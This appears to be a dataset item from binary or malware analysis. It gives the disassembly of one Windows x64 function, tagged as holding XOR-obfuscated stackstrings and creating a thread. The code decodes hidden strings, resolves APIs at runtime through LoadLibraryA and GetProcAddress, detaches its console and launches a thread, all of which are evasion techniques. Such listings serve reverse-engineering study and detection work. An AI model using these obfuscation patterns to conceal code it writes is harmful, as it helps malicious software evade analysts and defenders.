Function at 0x180001350
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x18001c030]
xor rax, rsp
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0xa0]
xor edx, edx
mov r8d, 0x80
call sub.MSVCR90.dll_memset
lea r8, [0x180019bf0]
lea rcx, [rsp + 0xa0]
mov edx, 0x27
call qword [sym.imp.MSVCR90.dll_strcpy_s]
or rcx, 0xffffffffffffffff
xor eax, eax
xor esi, esi
lea rdi, [rsp + 0xa0]
repne scasb al, byte [rdi]
mov edi, esi
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
je 0x1800013f8
lea r8, [rsp + 0xa0]
nop dword [rax]
movzx ecx, byte [r8]
mov eax, 0x51eb851f
inc r8
xor cl, 0xb2
mul edi
shr edx, 5
mov al, 0x64
imul dl
add al, cl
sub al, dil
inc edi
mov byte [r8 - 1], al
cmp edi, r9d
jb 0x1800013d0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
mov byte [rsp + 0x50], 0xf3
mov byte [rsp + 0x51], 0xd7
mov byte [rsp + 0x52], 0xca
mov byte [rsp + 0x53], 0xd6
mov byte [rsp + 0x54], 0xc6
mov byte [rsp + 0x55], 0xdc
mov byte [rsp + 0x56], 0x8b
mov byte [rsp + 0x57], 0x8b
mov byte [rsp + 0x58], 0x84
mov byte [rsp + 0x59], 0xdf
mov byte [rsp + 0x5a], 0xc4
mov byte [rsp + 0x5b], 0xc5
mov byte [rsp + 0x5c], sil
repne scasb al, byte [rdi]
mov byte [rsp + 0x78], 0xe0
not rcx
mov byte [rsp + 0x79], 0xd4
mov byte [rsp + 0x7a], 0xdb
dec rcx
mov byte [rsp + 0x7b], 0xde
mov byte [rsp + 0x7c], 0xc5
mov byte [rsp + 0x7d], 0xcb
mov byte [rsp + 0x7e], 0xd9
mov byte [rsp + 0x7f], 0xcb
mov byte [rsp + 0x80], 0xe9
mov byte [rsp + 0x81], 0xdc
mov byte [rsp + 0x82], 0xce
mov byte [rsp + 0x83], 0x33
mov byte [rsp + 0x84], 0xc7
mov byte [rsp + 0x85], 0xc2
mov byte [rsp + 0x86], 0xc1
mov byte [rsp + 0x87], 0xe0
mov byte [rsp + 0x88], 0x36
mov byte [rsp + 0x89], 0x31
mov byte [rsp + 0x8a], 0xcc
mov byte [rsp + 0x8b], 0xe9
mov byte [rsp + 0x8c], 0xc7
mov byte [rsp + 0x8d], 0x31
mov byte [rsp + 0x8e], 0xc8
mov byte [rsp + 0x8f], 0x31
mov byte [rsp + 0x90], 0xcf
mov byte [rsp + 0x91], 0x39
mov byte [rsp + 0x92], 0xe9
mov byte [rsp + 0x93], sil
mov byte [rsp + 0x60], 0xe1
mov byte [rsp + 0x61], 0xd4
mov byte [rsp + 0x62], 0xc4
mov byte [rsp + 0x63], 0xe4
mov byte [rsp + 0x64], 0xdb
mov byte [rsp + 0x65], 0xc5
mov byte [rsp + 0x66], 0xce
mov byte [rsp + 0x67], 0xc2
mov byte [rsp + 0x68], 0xd9
mov byte [rsp + 0x69], 0xdc
mov byte [rsp + 0x6a], 0xef
mov byte [rsp + 0x6b], 0xcd
mov byte [rsp + 0x6c], 0xdf
mov byte [rsp + 0x6d], 0x33
mov byte [rsp + 0x6e], 0x31
mov byte [rsp + 0x6f], 0x30
mov byte [rsp + 0x70], sil
mov r9, rcx
mov edi, esi
test ecx, ecx
je 0x1800015a8
lea r8, [rsp + 0x50]
nop word [rax + rax]
movzx ecx, byte [r8]
mov eax, 0x51eb851f
inc r8
xor cl, 0xb2
mul edi
shr edx, 5
mov al, 0x64
imul dl
add al, cl
sub al, dil
inc edi
mov byte [r8 - 1], al
cmp edi, r9d
jb 0x180001580
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x18000176a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x78]
repne scasb al, byte [rdi]
mov edi, esi
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
je 0x180001608
lea r8, [rsp + 0x78]
movzx ecx, byte [r8]
mov eax, 0x51eb851f
inc r8
xor cl, 0xb2
mul edi
shr edx, 5
mov al, 0x64
imul dl
add al, cl
sub al, dil
inc edi
mov byte [r8 - 1], al
cmp edi, r9d
jb 0x1800015e0
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x180001790]
lea rcx, [rsp + 0xa0]
call rax
mov qword [0x18001c660], rax
test rax, rax
je 0x18000176a
call qword [sym.imp.KERNEL32.dll_FreeConsole]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x60]
repne scasb al, byte [rdi]
mov edi, esi
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
je 0x180001688
lea r8, [rsp + 0x60]
nop
movzx ecx, byte [r8]
mov eax, 0x51eb851f
inc r8
xor cl, 0xb2
mul edi
shr edx, 5
mov al, 0x64
imul dl
add al, cl
sub al, dil
inc edi
mov byte [r8 - 1], al
cmp edi, r9d
jb 0x180001660
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18001c660]
lea rdx, [rsp + 0x30]
mov qword [0x18001c678], rax
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x34], 2
mov dword [rsp + 0x38], 7
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x48], 0xbb8
call rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rcx, qword [0x18001c660]
lea rdx, [rsp + 0x30]
mov qword [0x18001c670], rax
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x34], 4
mov dword [rsp + 0x38], 7
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], esi
mov dword [rsp + 0x48], 0xbb8
call qword [0x18001c678]
lea r8, section..text
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18001c670]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.180014460
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret